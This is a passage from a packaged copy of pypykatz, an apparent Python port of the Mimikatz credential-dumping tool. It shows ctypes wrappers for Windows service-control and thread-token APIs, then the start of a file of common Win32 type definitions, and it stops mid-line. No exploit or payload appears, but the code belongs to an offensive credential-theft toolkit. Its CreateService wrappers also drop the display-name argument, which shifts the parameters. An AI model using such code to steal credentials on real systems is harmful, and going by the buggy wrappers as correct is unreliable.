WINAPI OpenService( # _In_ SC_HANDLE hSCManager, # _In_ LPCTSTR lpServiceName, # _In_ DWORD dwDesiredAccess # ); def OpenServiceA(hSCManager, lpServiceName, dwDesiredAccess = SERVICE_ALL_ACCESS): _OpenServiceA = windll.advapi32.OpenServiceA _OpenServiceA.argtypes = [SC_HANDLE, LPSTR, DWORD] _OpenServiceA.restype = SC_HANDLE _OpenServiceA.errcheck = RaiseIfZero return ServiceHANDLE( _OpenServiceA(hSCManager, lpServiceName, dwDesiredAccess) ) def OpenServiceW(hSCManager, lpServiceName, dwDesiredAccess = SERVICE_ALL_ACCESS): _OpenServiceW = windll.advapi32.OpenServiceW _OpenServiceW.argtypes = [SC_HANDLE, LPWSTR, DWORD] _OpenServiceW.restype = SC_HANDLE _OpenServiceW.errcheck = RaiseIfZero return ServiceHANDLE( _OpenServiceW(hSCManager, lpServiceName, dwDesiredAccess) ) OpenService = GuessStringType(OpenServiceA, OpenServiceW) # SC_HANDLE WINAPI CreateService( # _In_ SC_HANDLE hSCManager, # _In_ LPCTSTR lpServiceName, # _In_opt_ LPCTSTR lpDisplayName, # _In_ DWORD dwDesiredAccess, # _In_ DWORD dwServiceType, # _In_ DWORD dwStartType, # _In_ DWORD dwErrorControl, # _In_opt_ LPCTSTR lpBinaryPathName, # _In_opt_ LPCTSTR lpLoadOrderGroup, # _Out_opt_ LPDWORD lpdwTagId, # _In_opt_ LPCTSTR lpDependencies, # _In_opt_ LPCTSTR lpServiceStartName, # _In_opt_ LPCTSTR lpPassword # ); def CreateServiceA(hSCManager, lpServiceName, lpDisplayName = None, dwDesiredAccess = SERVICE_ALL_ACCESS, dwServiceType = SERVICE_WIN32_OWN_PROCESS, dwStartType = SERVICE_DEMAND_START, dwErrorControl = SERVICE_ERROR_NORMAL, lpBinaryPathName = None, lpLoadOrderGroup = None, lpDependencies = None, lpServiceStartName = None, lpPassword = None): _CreateServiceA = windll.advapi32.CreateServiceA _CreateServiceA.argtypes = [SC_HANDLE, LPSTR, LPSTR, DWORD, DWORD, DWORD, DWORD, LPSTR, LPSTR, LPDWORD, LPSTR, LPSTR, LPSTR] _CreateServiceA.restype = SC_HANDLE _CreateServiceA.errcheck = RaiseIfZero dwTagId = DWORD(0) hService = _CreateServiceA(hSCManager, lpServiceName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, byref(dwTagId), lpDependencies, lpServiceStartName, lpPassword) return ServiceHANDLE(hService), dwTagId.value def CreateServiceW(hSCManager, lpServiceName, lpDisplayName = None, dwDesiredAccess = SERVICE_ALL_ACCESS, dwServiceType = SERVICE_WIN32_OWN_PROCESS, dwStartType = SERVICE_DEMAND_START, dwErrorControl = SERVICE_ERROR_NORMAL, lpBinaryPathName = None, lpLoadOrderGroup = None, lpDependencies = None, lpServiceStartName = None, lpPassword = None): _CreateServiceW = windll.advapi32.CreateServiceW _CreateServiceW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, DWORD, DWORD, DWORD, DWORD, LPWSTR, LPWSTR, LPDWORD, LPWSTR, LPWSTR, LPWSTR] _CreateServiceW.restype = SC_HANDLE _CreateServiceW.errcheck = RaiseIfZero dwTagId = DWORD(0) hService = _CreateServiceW(hSCManager, lpServiceName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, byref(dwTagId), lpDependencies, lpServiceStartName, lpPassword) return ServiceHANDLE(hService), dwTagId.value CreateService = GuessStringType(CreateServiceA, CreateServiceW) # BOOL WINAPI DeleteService( # _In_ SC_HANDLE hService # ); def DeleteService(hService): _DeleteService = windll.advapi32.DeleteService _DeleteService.argtypes = [SC_HANDLE] _DeleteService.restype = bool _DeleteService.errcheck = RaiseIfZero _DeleteService(hService) # BOOL WINAPI GetServiceKeyName( # _In_ SC_HANDLE hSCManager, # _In_ LPCTSTR lpDisplayName, # _Out_opt_ LPTSTR lpServiceName, # _Inout_ LPDWORD lpcchBuffer # ); def GetServiceKeyNameA(hSCManager, lpDisplayName): _GetServiceKeyNameA = windll.advapi32.GetServiceKeyNameA _GetServiceKeyNameA.argtypes = [SC_HANDLE, LPSTR, LPSTR, LPDWORD] _GetServiceKeyNameA.restype = bool cchBuffer = DWORD(0) _GetServiceKeyNameA(hSCManager, lpDisplayName, None, byref(cchBuffer)) if cchBuffer.value == 0: raise ctypes.WinError() lpServiceName = ctypes.create_string_buffer(cchBuffer.value + 1) cchBuffer.value = sizeof(lpServiceName) success = _GetServiceKeyNameA(hSCManager, lpDisplayName, lpServiceName, byref(cchBuffer)) if not success: raise ctypes.WinError() return lpServiceName.value def GetServiceKeyNameW(hSCManager, lpDisplayName): _GetServiceKeyNameW = windll.advapi32.GetServiceKeyNameW _GetServiceKeyNameW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, LPDWORD] _GetServiceKeyNameW.restype = bool cchBuffer = DWORD(0) _GetServiceKeyNameW(hSCManager, lpDisplayName, None, byref(cchBuffer)) if cchBuffer.value == 0: raise ctypes.WinError() lpServiceName = ctypes.create_unicode_buffer(cchBuffer.value + 2) cchBuffer.value = sizeof(lpServiceName) success = _GetServiceKeyNameW(hSCManager, lpDisplayName, lpServiceName, byref(cchBuffer)) if not success: raise ctypes.WinError() return lpServiceName.value GetServiceKeyName = GuessStringType(GetServiceKeyNameA, GetServiceKeyNameW) # BOOL WINAPI GetServiceDisplayName( # _In_ SC_HANDLE hSCManager, # _In_ LPCTSTR lpServiceName, # _Out_opt_ LPTSTR lpDisplayName, # _Inout_ LPDWORD lpcchBuffer # ); def GetServiceDisplayNameA(hSCManager, lpServiceName): _GetServiceDisplayNameA = windll.advapi32.GetServiceDisplayNameA _GetServiceDisplayNameA.argtypes = [SC_HANDLE, LPSTR, LPSTR, LPDWORD] _GetServiceDisplayNameA.restype = bool cchBuffer = DWORD(0) _GetServiceDisplayNameA(hSCManager, lpServiceName, None, byref(cchBuffer)) if cchBuffer.value == 0: raise ctypes.WinError() lpDisplayName = ctypes.create_string_buffer(cchBuffer.value + 1) cchBuffer.value = sizeof(lpDisplayName) success = _GetServiceDisplayNameA(hSCManager, lpServiceName, lpDisplayName, byref(cchBuffer)) if not success: raise ctypes.WinError() return lpDisplayName.value def GetServiceDisplayNameW(hSCManager, lpServiceName): _GetServiceDisplayNameW = windll.advapi32.GetServiceDisplayNameW _GetServiceDisplayNameW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, LPDWORD] _GetServiceDisplayNameW.restype = bool cchBuffer = DWORD(0) _GetServiceDisplayNameW(hSCManager, lpServiceName, None, byref(cchBuffer)) if cchBuffer.value == 0: raise ctypes.WinError() lpDisplayName = ctypes.create_unicode_buffer(cchBuffer.value + 2) cchBuffer.value = sizeof(lpDisplayName) success = _GetServiceDisplayNameW(hSCManager, lpServiceName, lpDisplayName, byref(cchBuffer)) if not success: raise ctypes.WinError() return lpDisplayName.value GetServiceDisplayName = GuessStringType(GetServiceDisplayNameA, GetServiceDisplayNameW) # BOOL WINAPI QueryServiceConfig( # _In_ SC_HANDLE hService, # _Out_opt_ LPQUERY_SERVICE_CONFIG lpServiceConfig, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded # ); # TO DO # BOOL WINAPI QueryServiceConfig2( # _In_ SC_HANDLE hService, # _In_ DWORD dwInfoLevel, # _Out_opt_ LPBYTE lpBuffer, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded # ); # TO DO # BOOL WINAPI ChangeServiceConfig( # _In_ SC_HANDLE hService, # _In_ DWORD dwServiceType, # _In_ DWORD dwStartType, # _In_ DWORD dwErrorControl, # _In_opt_ LPCTSTR lpBinaryPathName, # _In_opt_ LPCTSTR lpLoadOrderGroup, # _Out_opt_ LPDWORD lpdwTagId, # _In_opt_ LPCTSTR lpDependencies, # _In_opt_ LPCTSTR lpServiceStartName, # _In_opt_ LPCTSTR lpPassword, # _In_opt_ LPCTSTR lpDisplayName # ); # TO DO # BOOL WINAPI ChangeServiceConfig2( # _In_ SC_HANDLE hService, # _In_ DWORD dwInfoLevel, # _In_opt_ LPVOID lpInfo # ); # TO DO # BOOL WINAPI StartService( # _In_ SC_HANDLE hService, # _In_ DWORD dwNumServiceArgs, # _In_opt_ LPCTSTR *lpServiceArgVectors # ); def StartServiceA(hService, ServiceArgVectors = None): _StartServiceA = windll.advapi32.StartServiceA _StartServiceA.argtypes = [SC_HANDLE, DWORD, LPVOID] _StartServiceA.restype = bool _StartServiceA.errcheck = RaiseIfZero if ServiceArgVectors: dwNumServiceArgs = len(ServiceArgVectors) CServiceArgVectors = (LPSTR * dwNumServiceArgs)(*ServiceArgVectors) lpServiceArgVectors = ctypes.pointer(CServiceArgVectors) else: dwNumServiceArgs = 0 lpServiceArgVectors = None _StartServiceA(hService, dwNumServiceArgs, lpServiceArgVectors) def StartServiceW(hService, ServiceArgVectors = None): _StartServiceW = windll.advapi32.StartServiceW _StartServiceW.argtypes = [SC_HANDLE, DWORD, LPVOID] _StartServiceW.restype = bool _StartServiceW.errcheck = RaiseIfZero if ServiceArgVectors: dwNumServiceArgs = len(ServiceArgVectors) CServiceArgVectors = (LPWSTR * dwNumServiceArgs)(*ServiceArgVectors) lpServiceArgVectors = ctypes.pointer(CServiceArgVectors) else: dwNumServiceArgs = 0 lpServiceArgVectors = None _StartServiceW(hService, dwNumServiceArgs, lpServiceArgVectors) StartService = GuessStringType(StartServiceA, StartServiceW) # BOOL WINAPI ControlService( # _In_ SC_HANDLE hService, # _In_ DWORD dwControl, # _Out_ LPSERVICE_STATUS lpServiceStatus # ); def ControlService(hService, dwControl): _ControlService = windll.advapi32.ControlService _ControlService.argtypes = [SC_HANDLE, DWORD, LPSERVICE_STATUS] _ControlService.restype = bool _ControlService.errcheck = RaiseIfZero rawServiceStatus = SERVICE_STATUS() _ControlService(hService, dwControl, byref(rawServiceStatus)) return ServiceStatus(rawServiceStatus) # BOOL WINAPI ControlServiceEx( # _In_ SC_HANDLE hService, # _In_ DWORD dwControl, # _In_ DWORD dwInfoLevel, # _Inout_ PVOID pControlParams # ); # TO DO # DWORD WINAPI NotifyServiceStatusChange( # _In_ SC_HANDLE hService, # _In_ DWORD dwNotifyMask, # _In_ PSERVICE_NOTIFY pNotifyBuffer # ); # TO DO # BOOL WINAPI QueryServiceStatus( # _In_ SC_HANDLE hService, # _Out_ LPSERVICE_STATUS lpServiceStatus # ); def QueryServiceStatus(hService): _QueryServiceStatus = windll.advapi32.QueryServiceStatus _QueryServiceStatus.argtypes = [SC_HANDLE, LPSERVICE_STATUS] _QueryServiceStatus.restype = bool _QueryServiceStatus.errcheck = RaiseIfZero rawServiceStatus = SERVICE_STATUS() _QueryServiceStatus(hService, byref(rawServiceStatus)) return ServiceStatus(rawServiceStatus) # BOOL WINAPI QueryServiceStatusEx( # _In_ SC_HANDLE hService, # _In_ SC_STATUS_TYPE InfoLevel, # _Out_opt_ LPBYTE lpBuffer, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded # ); def QueryServiceStatusEx(hService, InfoLevel = SC_STATUS_PROCESS_INFO): if InfoLevel != SC_STATUS_PROCESS_INFO: raise NotImplementedError() _QueryServiceStatusEx = windll.advapi32.QueryServiceStatusEx _QueryServiceStatusEx.argtypes = [SC_HANDLE, SC_STATUS_TYPE, LPVOID, DWORD, LPDWORD] _QueryServiceStatusEx.restype = bool _QueryServiceStatusEx.errcheck = RaiseIfZero lpBuffer = SERVICE_STATUS_PROCESS() cbBytesNeeded = DWORD(sizeof(lpBuffer)) _QueryServiceStatusEx(hService, InfoLevel, byref(lpBuffer), sizeof(lpBuffer), byref(cbBytesNeeded)) return ServiceStatusProcess(lpBuffer) # BOOL WINAPI EnumServicesStatus( # _In_ SC_HANDLE hSCManager, # _In_ DWORD dwServiceType, # _In_ DWORD dwServiceState, # _Out_opt_ LPENUM_SERVICE_STATUS lpServices, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded, # _Out_ LPDWORD lpServicesReturned, # _Inout_opt_ LPDWORD lpResumeHANDLE # ); def EnumServicesStatusA(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL): _EnumServicesStatusA = windll.advapi32.EnumServicesStatusA _EnumServicesStatusA.argtypes = [SC_HANDLE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD] _EnumServicesStatusA.restype = bool cbBytesNeeded = DWORD(0) ServicesReturned = DWORD(0) ResumeHANDLE = DWORD(0) _EnumServicesStatusA(hSCManager, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) Services = [] success = False while GetLastError() == ERROR_MORE_DATA: if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSA): break ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) success = _EnumServicesStatusA(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSA) * ServicesReturned.value): raise ctypes.WinError() lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSA) for index in xrange(0, ServicesReturned.value): Services.append( ServiceStatusEntry(lpServicesArray[index]) ) if success: break if not success: raise ctypes.WinError() return Services def EnumServicesStatusW(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL): _EnumServicesStatusW = windll.advapi32.EnumServicesStatusW _EnumServicesStatusW.argtypes = [SC_HANDLE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD] _EnumServicesStatusW.restype = bool cbBytesNeeded = DWORD(0) ServicesReturned = DWORD(0) ResumeHANDLE = DWORD(0) _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) Services = [] success = False while GetLastError() == ERROR_MORE_DATA: if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW): break ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value): raise ctypes.WinError() lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW) for index in xrange(0, ServicesReturned.value): Services.append( ServiceStatusEntry(lpServicesArray[index]) ) if success: break if not success: raise ctypes.WinError() return Services EnumServicesStatus = DefaultStringType(EnumServicesStatusA, EnumServicesStatusW) # BOOL WINAPI EnumServicesStatusEx( # _In_ SC_HANDLE hSCManager, # _In_ SC_ENUM_TYPE InfoLevel, # _In_ DWORD dwServiceType, # _In_ DWORD dwServiceState, # _Out_opt_ LPBYTE lpServices, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded, # _Out_ LPDWORD lpServicesReturned, # _Inout_opt_ LPDWORD lpResumeHANDLE, # _In_opt_ LPCTSTR pszGroupName # ); def EnumServicesStatusExA(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None): if InfoLevel != SC_ENUM_PROCESS_INFO: raise NotImplementedError() _EnumServicesStatusExA = windll.advapi32.EnumServicesStatusExA _EnumServicesStatusExA.argtypes = [SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD, LPSTR] _EnumServicesStatusExA.restype = bool cbBytesNeeded = DWORD(0) ServicesReturned = DWORD(0) ResumeHANDLE = DWORD(0) _EnumServicesStatusExA(hSCManager, InfoLevel, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) Services = [] success = False while GetLastError() == ERROR_MORE_DATA: if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSA): break ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) success = _EnumServicesStatusExA(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value): raise ctypes.WinError() lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA) for index in xrange(0, ServicesReturned.value): Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) ) if success: break if not success: raise ctypes.WinError() return Services def EnumServicesStatusExW(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None): _EnumServicesStatusExW = windll.advapi32.EnumServicesStatusExW _EnumServicesStatusExW.argtypes = [SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR] _EnumServicesStatusExW.restype = bool if InfoLevel != SC_ENUM_PROCESS_INFO: raise NotImplementedError() cbBytesNeeded = DWORD(0) ServicesReturned = DWORD(0) ResumeHANDLE = DWORD(0) _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) Services = [] success = False while GetLastError() == ERROR_MORE_DATA: if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW): break ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value): raise ctypes.WinError() lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW) for index in xrange(0, ServicesReturned.value): Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) ) if success: break if not success: raise ctypes.WinError() return Services EnumServicesStatusEx = DefaultStringType(EnumServicesStatusExA, EnumServicesStatusExW) # BOOL WINAPI EnumDependentServices( # _In_ SC_HANDLE hService, # _In_ DWORD dwServiceState, # _Out_opt_ LPENUM_SERVICE_STATUS lpServices, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded, # _Out_ LPDWORD lpServicesReturned # ); # TO DO # BOOL SetThreadToken( # PHANDLE Thread, # HANDLE Token # ); def SetThreadToken(token_handle, thread_handle = None): _SetThreadToken = windll.advapi32.SetThreadToken _SetThreadToken.argtypes = [PHANDLE , HANDLE] _SetThreadToken.restype = bool _SetThreadToken.errcheck = RaiseIfZero _SetThreadToken(thread_handle, token_handle) #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) __all__ = [_x for _x in _all if not _x.startswith('_')] __all__.sort() #==============================================================================././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/defines.py0000664000175000017500000005571414543266630024436 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Common definitions. """ # TODO # + add TCHAR and related types? import ctypes import functools #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== # Cygwin compatibility. try: WindowsError except NameError: _gle = None class WindowsError(OSError): def __init__(self, *args, **kwargs): OSError.__init__(self, *args, **kwargs) global _gle if _gle is None: from kernel32 import GetLastError as _gle self.winerror = _gle() from os import getenv as _real_getenv def getenv(key, default=None): value = _real_getenv(key, None) if value is None: value = _real_getenv(key.upper(), default) return value #------------------------------------------------------------------------------ # Some stuff from ctypes we'll be using very frequently. addressof = ctypes.addressof sizeof = ctypes.sizeof SIZEOF = ctypes.sizeof POINTER = ctypes.POINTER WINFUNCTYPE = ctypes.WINFUNCTYPE windll = ctypes.windll # Automatically disable padding of structs and unions on 32 bits. class Structure(ctypes.Structure): if sizeof(ctypes.c_void_p) == 4: _pack_ = 1 class Union(ctypes.Union): if sizeof(ctypes.c_void_p) == 4: _pack_ = 1 # The IronPython implementation of byref() was giving some problems, # so it's best to replace it with the slower pointer() function. try: ctypes.c_void_p(ctypes.byref(ctypes.c_char())) # this fails in IronPython byref = ctypes.byref except TypeError: byref = ctypes.pointer # XXX DEBUG # The following code can be enabled to make the Win32 API wrappers log to # standard output the dll and function names, the parameter values and the # return value for each call. ##WIN32_VERBOSE_MODE = True WIN32_VERBOSE_MODE = False if WIN32_VERBOSE_MODE: class WinDllHook(object): def __getattr__(self, name): if name.startswith('_'): return object.__getattr__(self, name) return WinFuncHook(name) class WinFuncHook(object): def __init__(self, name): self.__name = name def __getattr__(self, name): if name.startswith('_'): return object.__getattr__(self, name) return WinCallHook(self.__name, name) class WinCallHook(object): def __init__(self, dllname, funcname): self.__dllname = dllname self.__funcname = funcname self.__func = getattr(getattr(ctypes.windll, dllname), funcname) def __copy_attribute(self, attribute): try: value = getattr(self, attribute) setattr(self.__func, attribute, value) except AttributeError: try: delattr(self.__func, attribute) except AttributeError: pass def __call__(self, *argv): self.__copy_attribute('argtypes') self.__copy_attribute('restype') self.__copy_attribute('errcheck') print("-"*10) print("%s ! %s %r" % (self.__dllname, self.__funcname, argv)) retval = self.__func(*argv) print("== %r" % (retval,)) return retval windll = WinDllHook() #------------------------------------------------------------------------------ def RaiseIfZero(result, func = None, arguments = ()): """ Error checking for most Win32 API calls. The function is assumed to return an integer, which is C{0} on error. In that case the C{WindowsError} exception is raised. """ if not result: raise ctypes.WinError() return result def RaiseIfNotZero(result, func = None, arguments = ()): """ Error checking for some odd Win32 API calls. The function is assumed to return an integer, which is zero on success. If the return value is nonzero the C{WindowsError} exception is raised. This is mostly useful for free() like functions, where the return value is the pointer to the memory block on failure or a C{NULL} pointer on success. """ if result: raise ctypes.WinError() return result def RaiseIfNotErrorSuccess(result, func = None, arguments = ()): """ Error checking for Win32 Registry API calls. The function is assumed to return a Win32 error code. If the code is not C{ERROR_SUCCESS} then a C{WindowsError} exception is raised. """ if result != ERROR_SUCCESS: raise ctypes.WinError(result) return result class GuessStringType(object): """ Decorator that guesses the correct version (A or W) to call based on the types of the strings passed as parameters. Calls the B{ANSI} version if the only string types are ANSI. Calls the B{Unicode} version if Unicode or mixed string types are passed. The default if no string arguments are passed depends on the value of the L{t_default} class variable. @type fn_ansi: function @ivar fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @ivar fn_unicode: Unicode (wide) version of the API function to call. @type t_default: type @cvar t_default: Default string type to use. Possible values are: - type('') for ANSI - type(u'') for Unicode """ # ANSI and Unicode types t_ansi = type('') t_unicode = type(u'') # Default is ANSI for Python 2.x t_default = t_ansi def __init__(self, fn_ansi, fn_unicode): """ @type fn_ansi: function @param fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @param fn_unicode: Unicode (wide) version of the API function to call. """ self.fn_ansi = fn_ansi self.fn_unicode = fn_unicode # Copy the wrapped function attributes. try: self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W except AttributeError: pass try: self.__module__ = self.fn_ansi.__module__ except AttributeError: pass try: self.__doc__ = self.fn_ansi.__doc__ except AttributeError: pass def __call__(self, *argv, **argd): # Shortcut to self.t_ansi t_ansi = self.t_ansi # Get the types of all arguments for the function v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) # Get the appropriate function for the default type if self.t_default == t_ansi: fn = self.fn_ansi else: fn = self.fn_unicode # If at least one argument is a Unicode string... if self.t_unicode in v_types: # If al least one argument is an ANSI string, # convert all ANSI strings to Unicode if t_ansi in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_ansi: argv[index] = argv[index] for (key, value) in argd.items(): if type(value) == t_ansi: argd[key] = value # Use the W version fn = self.fn_unicode # If at least one argument is an ANSI string, # but there are no Unicode strings... elif t_ansi in v_types: # Use the A version fn = self.fn_ansi # Call the function and return the result return fn(*argv, **argd) class DefaultStringType(object): """ Decorator that uses the default version (A or W) to call based on the configuration of the L{GuessStringType} decorator. @see: L{GuessStringType.t_default} @type fn_ansi: function @ivar fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @ivar fn_unicode: Unicode (wide) version of the API function to call. """ def __init__(self, fn_ansi, fn_unicode): """ @type fn_ansi: function @param fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @param fn_unicode: Unicode (wide) version of the API function to call. """ self.fn_ansi = fn_ansi self.fn_unicode = fn_unicode # Copy the wrapped function attributes. try: self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W except AttributeError: pass try: self.__module__ = self.fn_ansi.__module__ except AttributeError: pass try: self.__doc__ = self.fn_ansi.__doc__ except AttributeError: pass def __call__(self, *argv, **argd): # Get the appropriate function based on the default. if GuessStringType.t_default == GuessStringType.t_ansi: fn = self.fn_ansi else: fn = self.fn_unicode # Call the function and return the result return fn(*argv, **argd) def MakeANSIVersion(fn): """ Decorator that generates an ANSI version of a Unicode (wide) only API call. @type fn: callable @param fn: Unicode (wide) version of the API function to call. """ @functools.wraps(fn) def wrapper(*argv, **argd): t_ansi = GuessStringType.t_ansi t_unicode = GuessStringType.t_unicode v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) if t_ansi in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_ansi: argv[index] = t_unicode(argv[index]) for key, value in argd.items(): if type(value) == t_ansi: argd[key] = t_unicode(value) return fn(*argv, **argd) return wrapper def MakeWideVersion(fn): """ Decorator that generates a Unicode (wide) version of an ANSI only API call. @type fn: callable @param fn: ANSI version of the API function to call. """ @functools.wraps(fn) def wrapper(*argv, **argd): t_ansi = GuessStringType.t_ansi t_unicode = GuessStringType.t_unicode v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) if t_unicode in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_unicode: argv[index] = t_ansi(argv[index]) for key, value in argd.items(): if type(value) == t_unicode: argd[key] = t_ansi(value) return fn(*argv, **argd) return wrapper #--- Types -------------------------------------------------------------------- # http://msdn.microsoft.com/en-us/library/aa383751(v=vs.85).aspx # Map of basic C types to Win32 types LPVOID = ctypes.c_void_p CHAR = ctypes.c_char WCHAR = ctypes.c_wchar BYTE = ctypes.c_ubyte SBYTE = ctypes.c_byte WORD = ctypes.c_uint16 SWORD = ctypes.c_int16 DWORD = ctypes.c_uint32 SDWORD = ctypes.c_int32 QWORD = ctypes.c_uint64 SQWORD = ctypes.c_int64 SHORT = ctypes.c_int16 USHORT = ctypes.c_uint16 INT = ctypes.c_int32 UINT = ctypes.c_uint32 LONG = ctypes.c_int32 ULONG = ctypes.c_uint32 LONGLONG = ctypes.c_int64 # c_longlong ULONGLONG = ctypes.c_uint64 # c_ulonglong LPSTR = ctypes.c_char_p LPWSTR = ctypes.c_wchar_p INT8 = ctypes.c_int8 INT16 = ctypes.c_int16 INT32 = ctypes.c_int32 INT64 = ctypes.c_int64 UINT8 = ctypes.c_uint8 UINT16 = ctypes.c_uint16 UINT32 = ctypes.c_uint32 UINT64 = ctypes.c_uint64 LONG32 = ctypes.c_int32 LONG64 = ctypes.c_int64 ULONG32 = ctypes.c_uint32 ULONG64 = ctypes.c_uint64 DWORD32 = ctypes.c_uint32 DWORD64 = ctypes.c_uint64 BOOL = ctypes.c_int32 FLOAT = ctypes.c_float # not sure on 